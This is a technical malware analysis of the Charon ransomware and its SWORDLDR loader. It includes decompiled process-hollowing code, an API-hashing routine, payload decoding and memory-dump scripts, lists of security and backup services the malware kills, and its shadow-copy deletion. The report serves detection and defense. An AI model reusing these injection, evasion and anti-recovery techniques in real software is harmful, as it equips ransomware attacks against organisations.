APT Earth Baxia - Charon Ransomware: An In-Depth Analysis

Charon is a sophisticated ransomware strain associated with the Earth Baxia APT group. This report dissects its TTPs end‑to‑end: DLL sideloading, multi‑layer shellcode staging, process hollowing into
svchost.exe, pre‑encryption anti‑recovery/defense‑impairment, hybrid Curve25519+ChaCha20 encryption, and post‑encryption artifacts.
I. Earth Baxia's DLL Sideloading and Payload Injection Techniques
| File Name | SHA-256 Hash |
| Edge.exe | 5d0675f20eeb8f824097791711135a273680f77bf5e9f0e168074e97464f21b5 |
| msedge.dll | e0a23c0d99c45d40f6ef99c901bacf04bb12e9a3a15823b663b392abadd2444e |
| DumpStack.log | 739e2cac9e2a15631c770236b34ba569aad1d1de87c6243f285bf1995af2cdc2 |
A new ransomware dubbed Charon has been observed in targeted attacks against public sector and Middle Eastern aviation. The intrusion leverages DLL sideloading and closely resembles previously documented Earth Baxia campaigns (Trend Micro Earth Baxia).
A legitimate binary renamed to
Edge.exe(originallycookie_exporter.exe) loads a maliciousmsedge.dll(SWORDLDR). That DLL decrypts and launches the ransomware payload staged inDumpStack.log.
High-level execution chain:

1. File msedge.dll Analysis
The malicious DLL is sideloaded by
Edge.exe. Standard DLL load sequence is followed: map image, resolve imports, run TLS callbacks, and invokeDllEntryPoint(...).

msedge.dllis heavily obfuscated.DllEntryPoint(...)dispatches via an array of function pointers includingfunction_pointer_1[0],[1], and notably[2], which transfers execution into the primary workflow (hereafter namedfn_main_flow()for traceability).
The functions behind
function_pointer_1[0]and[1]perform undetermined behavior; they most likely exist primarily for obfuscation .
Following the obfuscation routines, the program’s primary execution flow proceeds with two steps:
It checks for the presence of
DumpStack.log, reads and decodes the file intopayload_shellcode_layer_1. During this operation the code also performs anti-debug checks.It resolves the Windows API functions whose names are embedded at the start of the decoded blob, and then executes the stage-1 shellcode (
payload_shellcode_layer_1).

The routine reconstructs the full path to
DumpStack.log, opens it, and reads contents into a heap buffer viaCreateFileA,GetFileSize, andReadFile. The decoded structure yields Windows API name strings, the target process pathC:\Windows\System32\svchost.exe, andpayload_shellcode_layer_1.

'Kernel32.dll',0,
'CreateProcessA',0,
'VirtualAllocEx',0,
'WriteProcessMemory',0,
'GetThreadContext',0,
'SetThreadContext',0,
'ResumeThread',0,
'VirtualProtectEx',0,
'C:\\Windows\\System32\\svchost.exe;W1'
- Decoding logic used for
DumpStack.log- Script Python:
// Per-byte transform
b = (~b) & 0xFF; // 1) NOT
b ^= 0x2E; // 2) XOR 0x2E
b = (0x100 - b) & 0xFF; // 3) 8-bit NEG
return b;

#!/usr/bin/env python3
import argparse
from pathlib import Path
def transform_byte(b: int) -> int:
# 1) NOT
b = (~b) & 0xFF
# 2) XOR với 0x2E
b ^= 0x2E
# 3) NEG 8-bit: (0x100 - AL) & 0xFF
b = (0x100 - b) & 0xFF
return b
def decode_file(in_path: Path, out_path: Path, chunk_size: int = 1 << 20) -> None:
"""Đọc DumpStack.log, giải mã theo 3 bước, ghi ra data.bin."""
with in_path.open("rb") as fin, out_path.open("wb") as fout:
while True:
chunk = fin.read(chunk_size)
if not chunk:
break
buf = bytearray(chunk)
for i in range(len(buf)):
buf[i] = transform_byte(buf[i])
fout.write(buf)
def main():
ap = argparse.ArgumentParser(
description="Decryption DumpStack.log => data.bin (NOT => XOR 0x2E => NEG)"
)
ap.add_argument("input", help="Path DumpStack.log (input)")
ap.add_argument("-o", "--output", default="data.bin", help="Path data.bin (output)")
ap.add_argument(
"--chunk", type=int, default=1 << 20, help="Chunk size (default 1MB)"
)
args = ap.parse_args()
in_path = Path(args.input)
out_path = Path(args.output)
if not in_path.is_file():
raise SystemExit(f"File not found: {in_path}")
decode_file(in_path, out_path, args.chunk)
print(f"[OK] Decrypted: {in_path} -> {out_path}")
if __name__ == "__main__":
main()
###########################################################
# python decode_dumpstack.py "DumpStack.log" -o data.bin
###########################################################
Anti‑Debug routine (invoked within the
DumpStack.logdecoder) inspects whether the process is under a debugger.
After decoding
DumpStack.log,fn_main_flow()splits the blob by delimiter;(0x3B) to extract target API names and then resolves them (e.g.,CreateProcessA,VirtualAllocEx, ...).
The DLL performs process injection using CreateProcessA (suspended) + WriteProcessMemory + VirtualProtectEx + SetThreadContext + ResumeThread into
C:\Windows\System32\svchost.exeto runpayload_shellcode_layer_1.

This constitutes process hollowing: the thread context’s RIP in
_CONTEXTis set to the address of the injected shellcode insvchost.exe. For x64, RIP is located at offset 0xF8 within_CONTEXT(see Microsoft docs - https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-context) .

StartupInfo.cb = 0x68;
memset(&StartupInfo.lpReserved, 0, 0x60);
CreateProcessA(0i64, strTargetProcess, 0i64, 0i64, 0, CREATE_SUSPENDED, 0i64, 0i64, &StartupInfo, &ProcessInformation);
pTargetProcessAddr = VirtualAllocEx(ProcessInformation.hProcess, 0i64, dwScSize, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(ProcessInformation.hProcess, pTargetProcessAddr, shellCodePtr, dwScSize, 0i64);
VirtualProtectEx(ProcessInformation.hProcess, pTargetProcessAddr, dwScSize, PAGE_EXECUTE_READWRITE, flOldProtect);
threadCtx.ContextFlags = CONTEXT_FULL;
GetThreadContext(ProcessInformation.hThread, &threadCtx);
threadCtx.Rip = pTargetProcessAddr;
SetThreadContext(ProcessInformation.hThread, &threadCtx);
LODWORD(g_val_0x1_1) = ResumeThread(ProcessInformation.hThread);
2. Payload_Shellcode Analysis
- To analyze
payload_shellcode_layer_1, attach IDA to the targetsvchost.exeprocess. While debuggingmsedge.dll, dump the shellcode blob from memory and useshellcode2exeto compile/package that blob into a.exefile — analyzing the resulting.exein IDA will be much easier.
import idaapi
import binascii
start_address = 0x000001932CC382C0
end_address = start_address + 0x000000000000F1B2
data = idaapi.get_bytes(start_address, 0x000000000000F1B2)
with open("dumped_data.bin", "wb") as f:
f.write(data)
print("Success dump file data!")
.\shellcode2exe.bat 64 dumped_data.bin payload_shellcode_layer_1.exe
- At start, the shellcode resolves
ntdll!LdrLoadDll,NtAllocateVirtualMemory,NtProtectVirtualMemory, andNtFreeVirtualMemoryto manage staging buffers: allocate → copy/decode payload → switch to RX → cleanup.
// Structs and main() excerpt (abbrev.)
struct MW_API_INFO { // sizeof=0x28
INT64 LdrLoadDll;
INT64 NtAllocateVirtualMemory;
INT64 NtProtectVirtualMemory;
INT64 NtFreeVirtualMemory;
INT64 ntdllBaseAddr;
};
// ...locate ntdll via PEB->Ldr->InLoadOrderModuleList (hash 0x3729C0C)
// ...resolve exports via name-hash (BKDR*131 + tolower-style transform)
- Locating
ntdll: iteratePEB->Ldr->InLoadOrderModuleList, hashBaseDllName, compare to constant0x3729C0C. API resolution walks the Export Table, hashing names with BKDR(131) and a customtolower(if c <= 0x60 then c += 0x20).
// Exact decompiled pseudocode for the name-hash
uint32_t hash(const char* s, int len /*0 = null-terminated*/) {
uint32_t h = 0; size_t i = 0;
do {
unsigned char c = s[i];
if (!len && c == 0) break; // until '\0' if len==0
if (c) {
if (c <= 0x60) c += 0x20; // quirky tolower
h = h*131 + c; // BKDR(131)
}
++i;
} while (!len || i != (size_t)len);
return h;
}
The shellcode constructs a
MW_DATA_INFOobject aggregating multiple blobs (shellcode, metadata, module/API hash info, XOR key, etc.), allocates a working buffer, and decodes/decompresses the next stage.
// Example before/after decoding of a metadata area
// Before:
// 0000000000252A23 0B 83 75 7C 68 F3 78 A8 2C 15 9E 9C 1B AE 6C FB ..u|hóx¨,....®lû
// 0000000000252A33 88 06 4F 30 77 65 88 00 00 00 BC 3F 34 AF 45 17 ..O0we....¼?4¯E.
// After:
// 0000000000252A23 6E 74 64 6C 6C 00 6B 65 72 6E 65 6C 33 32 00 6D ntdll.kernel32.m
// 0000000000252A33 73 76 63 72 74 00 88 00 00 00 BC 3F 34 AF 45 17 svcrt.....¼?4¯E.
- It then resolves 0x22 APIs from
ntdll/kernel32/msvcrtusing the discovered hash table, including a notable function:
API hash: 0xD3471745 --> API found: RtlDecompressBuffer // decompression
API hash: 0x88487882 --> API found: RtlInitAnsiString
API hash: 0x99478AD4 --> API found: RtlInitUnicodeString
// ... full hash list kept below in the original content
Interpretation:
payload_shellcode_layer_1serves as a stager that decrypts/decompressespayload_shellcode_layer_2and supplies it with an embedded final payload blob (Charon PE).
Stage‑2 (
payload_shellcode_layer_2) begins by XOR‑decoding and callingRtlDecompressBufferto produce the Charon PE in memory. The PE is not dropped to disk; execution remains in‑memory.
Stage‑2 then process‑hollows again, updating thread RIP via
NtSetContextThreadto point at the PE’s entry/main.

Selected API hashes resolved by stage‑2 for injection/execution:
API hash: 0x35F50C56 --> API found: NtFreeVirtualMemory
API hash: 0x95F0B5C5 --> API found: NtGetContextThread
API hash: 0x8CEBABFE --> API found: NtOpenThread
API hash: 0x03D52223 --> API found: NtProtectVirtualMemory
API hash: 0xAF343FBC --> API found: NtReleaseMutant
API hash: 0x24D2D549 --> API found: NtResumeThread
API hash: 0xAFBD9CC9 --> API found: NtSetContextThread
API hash: 0x2BFE68AE --> API found: NtSignalAndWaitForSingleObject
API hash: 0x1D290EF0 --> API found: NtSuspendThread
API hash: 0x18537BC1 --> API found: NtTerminateThread
Tip: dump the in‑memory
Charon_RansomwarePE while attached tosvchost.exe(dumping from stage‑1 sometimes miscalculates file size due toe_lfanewpatching issues).If
SizeOfImageis unknown, compute file size from headers . Below is the calculation logic and a Python dump script:
address_MZ = 0xABCDEFGH
addr_e_lfanew = address_MZ + 0x3C
value_e_lfanew = 4 byte little edian at addr_e_lfanew
addr_PE_header = address_MZ + value_e_lfanew
addr_number_of_section = addr_PE_header + 4 + 2
value_number_of_section = 2 bytes little edian at addr_number_of_section
offset_from_first_section_to_last_section = 0x28 \* (value_number_of_section - 1)
addr_first_section = addr_PE_header + 0x108
addr_last_section = addr_first_section + offset_from_first_section_to_last_section
addr_size_of_raw_data = addr_last_section + 0x10
addr_pointer_to_raw_data = addr_last_section + 0x14
size_of_raw_data = 4 byte little edian at addr_size_of_raw_data
pointer_to_raw_data = 4 byte little edian at addr_pointer_to_raw_data
file_size = size_of_raw_data + pointer_to_raw_data
===>>> dump byte to file start addr address_MZ to (address_MZ + file_size)
import struct
import ida_bytes
try:
import idc # để đọc RAM khi đang debug
except Exception:
idc = None
def read_mem(ea, size):
# RAM (debugger)
if idc is not None:
try:
b = idc.read_dbg_memory(ea, size)
if b:
return b
except Exception:
pass
# IDB
return ida_bytes.get_bytes(ea, size)
def u16_at(ea):
b = read_mem(ea, 2)
if not b or len(b) < 2:
raise RuntimeError(f"Không đọc được 2 bytes tại 0x{ea:X}")
return struct.unpack_from("<H", b, 0)[0]
def u32_at(ea):
b = read_mem(ea, 4)
if not b or len(b) < 4:
raise RuntimeError(f"Không đọc được 4 bytes tại 0x{ea:X}")
return struct.unpack_from("<I", b, 0)[0]
def dump_pe_by_last_section(address_MZ, out_path):
# Kiểm tra 'MZ'
mz = read_mem(address_MZ, 2)
if mz != b"MZ":
raise RuntimeError(f"Không thấy 'MZ' tại 0x{address_MZ:X}")
# addr_e_lfanew = address_MZ + 0x3C
addr_e_lfanew = address_MZ + 0x3C
value_e_lfanew = u32_at(addr_e_lfanew)
# addr_PE_header = address_MZ + value_e_lfanew
addr_PE_header = address_MZ + value_e_lfanew
sig = read_mem(addr_PE_header, 4)
if sig != b"PE\x00\x00":
raise RuntimeError(f"Không thấy 'PE\\0\\0' tại 0x{addr_PE_header:X}")
# addr_number_of_section = addr_PE_header + 4 + 2
addr_number_of_section = addr_PE_header + 4 + 2
value_number_of_section = u16_at(addr_number_of_section)
if value_number_of_section == 0:
raise RuntimeError("NumberOfSections = 0 (bất thường)")
# offset_from_first_section_to_last_section = 0x28 * (value_number_of_section - 1)
offset_from_first_section_to_last_section = 0x28 * (value_number_of_section - 1)
# addr_first_section = addr_PE_header + 0x108 (theo logic bạn đưa)
# LƯU Ý: 0x108 = 0x18 (COFF) + 0xF0 (SizeOfOptionalHeader cho PE32+)
addr_first_section = addr_PE_header + 0x108
# addr_last_section = addr_first_section + offset_from_first_section_to_last_section
addr_last_section = addr_first_section + offset_from_first_section_to_last_section
# addr_size_of_raw_data / addr_pointer_to_raw_data
addr_size_of_raw_data = addr_last_section + 0x10
addr_pointer_to_raw_data = addr_last_section + 0x14
size_of_raw_data = u32_at(addr_size_of_raw_data)
pointer_to_raw_data = u32_at(addr_pointer_to_raw_data)
# file_size = size_of_raw_data + pointer_to_raw_data
file_size = size_of_raw_data + pointer_to_raw_data
if file_size <= 0:
raise RuntimeError(f"Kích thước tính ra không hợp lệ: 0x{file_size:X}")
# Dump bytes từ address_MZ đến address_MZ + file_size
data = read_mem(address_MZ, file_size)
if not data or len(data) < file_size:
# Nếu đọc thiếu (do vùng RAM/segment chưa map), pad 0 phần còn lại
have = len(data) if data else 0
data = (data or b"") + b"\x00" * (file_size - have)
with open(out_path, "wb") as f:
f.write(data)
print("[OK] Dumped by last section logic")
print(f" MZ @ 0x{address_MZ:X}")
print(f" PE @ 0x{addr_PE_header:X}")
print(f" NumberOfSections = {value_number_of_section}")
print(f" LastSectionHeader @ 0x{addr_last_section:X}")
print(f" SizeOfRawData = 0x{size_of_raw_data:X}")
print(f" PointerToRawData = 0x{pointer_to_raw_data:X}")
print(f" -> file_size = 0x{file_size:X} bytes")
print(f" Written: {out_path}")
# ================== CÁCH GỌI ==================
# Đặt địa chỉ MZ thực tế và đường dẫn output ở đây:
address_MZ = 0x000002889BD13098
out_path = r"C:\Users\trant\Desktop\APTxx\malware\CharonRansomware.exe"
dump_pe_by_last_section(address_MZ, out_path)
II. Technical analysis of the Charon Ransomware
Final payload (encryptor):
| File Name | SHA-256 Hash |
| Charon_Ransomware.exe | 80711e37f226ef1dc86dc80a8cbc0b2ec895b361e9ade85da793d94b1d876be8 |
1. Anti-Detection & Anti-Recovery (Pre-Encryption Behaviors)
- On launch,
Charon_Ransomware.exeaccepts arguments for debug logging, network share enumeration, and path scoping.--sf(Shares First) inverts the default order (shares before local disks).
| Argument | Description |
--debug=<path\to\logfile> | Enable error logging to the specified file. Logs errors across the encryption routine. |
--shares=<host_or_ip_list> | Enumerate target servers/IPs and encrypt accessible shares on those hosts (excluding ADMIN$). |
--paths=<specific_paths> | Restrict encryption to specific local paths (C:\folder) or drive letters (D:). |
--sf | Shares First: prioritize network shares first, then local disks. Without this flag, default is local disks first, then shares. |
A mutex
OopsCharonHereensures single‑instance execution. Before encryption, Charon executes a comprehensive preparation/impairment sequence:Stop or release services that may hold/lock files (SQL/Oracle DBs, VSS, Veeam, Commvault, Backup Exec, Acronis, QuickBooks, etc.).
Terminate processes that keep files open (Office apps, browsers, mail clients, DB/backup tools) to free handles.
Impair defenses by stopping security services (Symantec, Sophos, Qihoo 360, etc.) and admin agents.
Remove recovery artifacts: delete Volume Shadow Copies, backup catalogs/metadata; empty Recycle Bin.
Initialize multi‑threading (based on CPU core count) to accelerate encryption.


Services commonly targeted for stopping (non‑exhaustive):

| Service-Name | Description |
| vss | Volume Shadow Copy Service |
| sql | Microsoft SQL Server |
| svc$ | Hidden service/share name (abused by malware) |
| memtas | MEMTAS (legacy AV/endpoint; frequent in kill‑lists) |
| mepocs | McAfee ePO Cloud/Agent |
| sophos | Sophos Endpoint Protection |
| veeam | Veeam Backup & Replication |
| backup | Generic backup service |
| GxVss, GxBlr, GxFWD, GxCVD, GxCIMgr | Commvault components |
| DefWatch, ccEvtMgr, ccSetMgr, SavRoam, RTVscan | Symantec components |
| QBFCService, QBIDPService, Intuit.QuickBooks.FCS, QBCFMonitorService | QuickBooks components |
| YooBackup, YooIT | Yoo backup/IT services |
| zhudongfangyu | Qihoo 360 Proactive Defense |
| stc_raw_agent | StorageCraft Raw Agent |
| VSNAPVSS | vSnap VSS Provider |
| VeeamTransportSvc, VeeamDeploymentService, VeeamNFSSvc | Veeam components |
| PDVFSService | Paragon virtual FS service |
| BackupExec* | Veritas/Symantec Backup Exec components |
| AcrSch2Svc, AcronisAgent | Acronis components |
| CASAD2DWebSvc, CAARCUpdateSvc | CA ARCserve services |
Processes commonly terminated prior to encryption (non‑exhaustive):

| Process-Name | Description |
| sql.exe | Microsoft SQL tooling |
| oracle.exe, ocssd.exe, dbsnmp.exe, agntsvc.exe, isqlplussvc.exe, ocomm.exe | Oracle/DB/agent components |
| synctime.exe | Time sync/enterprise utility |
| xfssvccon.exe | Xerox file system service controller |
| mydesktopservice.exe, mydesktopqos.exe | Enterprise desktop agents |
| ocautoupds.exe | Oracle/OC auto‑update |
| encsvc.exe | Encryption/Indexing (often Symantec/Nuance) |
| firefox.exe, thunderbird.exe, tbirdconfig.exe, steam.exe | User apps likely to hold files |
| excel.exe, infopath.exe, msaccess.exe, mspub.exe, onenote.exe, outlook.exe, powerpnt.exe, visio.exe, winword.exe | Microsoft Office apps |
| wordpad.exe, notepad.exe | Editors |
Recovery inhibition via COM/VSS requires Administrator privileges. During analysis, map relevant COM interfaces (
vss.h,vsbackup.h).
Threading: the malware queries CPU core count and launches multiple worker threads for parallel encryption.

2. Encryption Logic Analysis
The core routine filters candidate files and encrypts them.

Skips specific extensions/names to avoid self‑bricking and noise:
- ".exe"
- ".dll"
- ".Charon"
- "How To Restore Your Files.txt"

Files are encrypted, renamed with the
.Charonextension, and a marker stringhCharon is enter to the urworld!is appended.

Hybrid scheme: Curve25519 (X25519) + ChaCha20.
Generate a random 32‑byte private key via Windows crypto.

Derive a public key, combine with a hard‑coded attacker public key to compute a shared secret (ECDH). Hash/derive a 256‑bit key and initialize a (modified) ChaCha20 stream cipher to encrypt file content.

Each encrypted file appends a 72‑byte footer with the victim’s public key and encryption metadata to enable later decryption.
Partial encryption policy to balance speed vs. impact:
≤ 64 KB: encrypt entire file.
64 KB–5 MB: encrypt 3 blocks (start ~0%, middle ~50%, tail ~75%).
5 MB–20 MB: encrypt 5 evenly spaced blocks.
20 MB: encrypt 7 blocks at ~0%, 12.5%, 25%, 50%, 75%, 87.5%, and near end.

Code excerpt showing partial‑encryption application and 72‑byte footer emission:

Finally, Charon drops a ransom note
How To Restore Your Files.txtto all drives, network shares, and folders.
3. Other Behaviors Beyond Encryption
Lateral impact: actively enumerates network shares using
NetShareEnumandWNetEnumResource, processes mapped drives and UNC paths, while skippingADMIN$to reduce attention during discovery.EDR bypass package (dormant in this build): the payload bundle contains a driver compiled from
dark-kill, intended to disable EDRs. The code to drop%SystemRoot%\System32\Drivers\WWC.sysand register a serviceWWCexists but was not invoked at runtime in the analyzed sample-likely an unfinished feature reserved for future variants.



Overview of features in development.


III. IOC and MITRE-ATT&CK Framework
- The
DumpStack.logdecoder uniquely fingerprints Earth Baxia’s staging. Identifying this algorithm helps cluster related samples.
1. IoC Table
| SHA256 Hash | Detection | Description |
| 80711e37f226ef1dc86dc80a8cbc0b2ec895b361e9ade85da793d94b1d876be8 | Ransom.Win64.CHARON.THGBCBE | Payload (Charon Ransomware) |
| 739e2cac9e2a15631c770236b34ba569aad1d1de87c6243f285bf1995af2cdc2 | Ransom.Win64.CHARON.A.enc | Shellcode (DumpStack.log) |
| e0a23c0d99c45d40f6ef99c901bacf04bb12e9a3a15823b663b392abadd2444e | Trojan.Win64.SWORDLDR.THGBCBE | SWORDLDR (msedge.dll) |
| 8e6b1aa03a28590eac9b5ef0e58f37849169ca47c8990e7d34525000e5759402 | Ransom.Win64.CHARON.A.note | Ransom note dropped after encryption (How To Restore Your Files.txt) - contains payment instructions, victim ID, and TOR/contacts |
2. MITRE-ATT&CK Framework
Mapping Windows API/Interface ↔ ATT&CK ID ↔ Observed Behavior:
| Windows API / Interface (examples) | MITRE ATT&CK (ID - Name) | Observed in Charon |
Netapi32!NetShareEnum | T1135 - Network Share Discovery | Enumerate network shares (mapped drives/UNC), encrypt accessible shares; skip ADMIN$. |
Mpr!WNetOpenEnum / WNetEnumResource | T1135 - Network Share Discovery | Scan network resources to propagate encryption scope. |
Kernel32!CreateMutexW (mutex: OopsCharonHere) | T1480.002 - Execution Guardrails: Mutual Exclusion | Single instance control. |
COM/VSS: CoInitializeEx → CoCreateInstance(CLSID_VSSBackupComponents) → IVssBackupComponents::DeleteSnapshots | T1490 - Inhibit System Recovery | Delete shadow copies via COM to hinder recovery. |
Shell32!SHEmptyRecycleBinW | T1070.004 - Indicator Removal: File Deletion | Empty Recycle Bin. |
Advapi32!OpenSCManagerW / OpenServiceW / ControlServiceW | T1489 - Service Stop & T1562.001 - Impair Defenses: Disable or Modify Tools | Stop security/backup services. |
Kernel32!OpenProcess / TerminateProcess | T1562.001 - Impair Defenses: Disable or Modify Tools | Terminate AV/EDR‑related processes. |
Advapi32!CreateServiceW / StartServiceW (driver registration) | T1543.003 - Create or Modify System Process: Windows Service | Drop %SystemRoot%\System32\Drivers\WWC.sys and register service WWC (present but not executed in the analyzed run). |
LoadLibraryW / ntdll!LdrLoadDll | T1574.002 - Hijack Execution Flow: DLL Side‑Loading | Chain: Edge.exe sideloads malicious msedge.dll (SWORDLDR) → stage payload. |
CreateProcess(... CREATE_SUSPENDED) + VirtualAllocEx / WriteProcessMemory / SetThreadContext / ResumeThread | T1055.012 - Process Injection: Process Hollowing | Inject/hollow into svchost.exe and transfer control to staged shellcode/PE. |
CNG/CryptoAPI (e.g., BCryptGenRandom; custom X25519+ChaCha20 implementation) | T1486 - Data Encrypted for Impact | Generate 32‑byte private key → ECDH with attacker pubkey → derive 256‑bit key → modified ChaCha20 → partial encryption + 72‑byte footer. |
IV. Resource References
https://www.trendmicro.com/en_fi/research/25/h/new-ransomware-charon.html
Security BootCamp 2025: https://api.securitybootcamp.org.vn/Resources/documents/bai-3-earth-baxia-sbc-2025.pdf




